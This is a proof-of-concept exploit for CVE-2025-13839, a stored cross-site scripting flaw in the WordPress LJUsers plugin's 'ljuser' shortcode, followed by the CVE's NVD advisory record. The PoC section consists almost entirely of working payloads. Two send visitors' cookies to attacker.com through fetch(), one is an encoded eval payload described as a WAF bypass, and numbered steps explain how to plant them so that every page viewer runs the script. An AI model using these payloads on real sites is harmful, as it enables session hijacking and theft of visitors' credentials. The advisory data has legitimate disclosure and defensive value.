CVE-2025-13839

<!-- WordPress LJUsers Plugin XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- Vulnerable parameter: name attribute of [ljuser] shortcode --> <!-- Basic XSS Payload --> [ljuser name="><script>alert('XSS')</script>"] <!-- Cookie Theft Payload --> [ljuser name="><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">] <!-- Session Hijacking Payload --> [ljuser name="><script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>"] <!-- Bypass WAF Payload (encoded) --> [ljuser name="><script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script>"] <!-- Context Breakout Payload --> [ljuser name=' onmouseover='alert(document.domain) x='"] <!-- Real exploitation scenario --> <!-- 1. Create/Edit a post with Contributor+ role --> <!-- 2. Insert the malicious shortcode --> <!-- 3. Submit for review or publish (depending on role) --> <!-- 4. Any user viewing the page will execute the injected JS -->

{"cve": {"id": "CVE-2025-13839", "sourceIdentifier": "[email protected]", "published": "2025-12-12T03:15:52.080", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LJUsers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter of the 'ljuser' shortcode in all versions up to, and including, 1.2.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ljusers/tags/1.2.0/ljusers.php#L194", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ljusers/trunk/ljusers.php#L194", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/841adf53-930a-4286-96d0-9ee8b0c188c4?source=cve", "source": "[email protected]"}]}}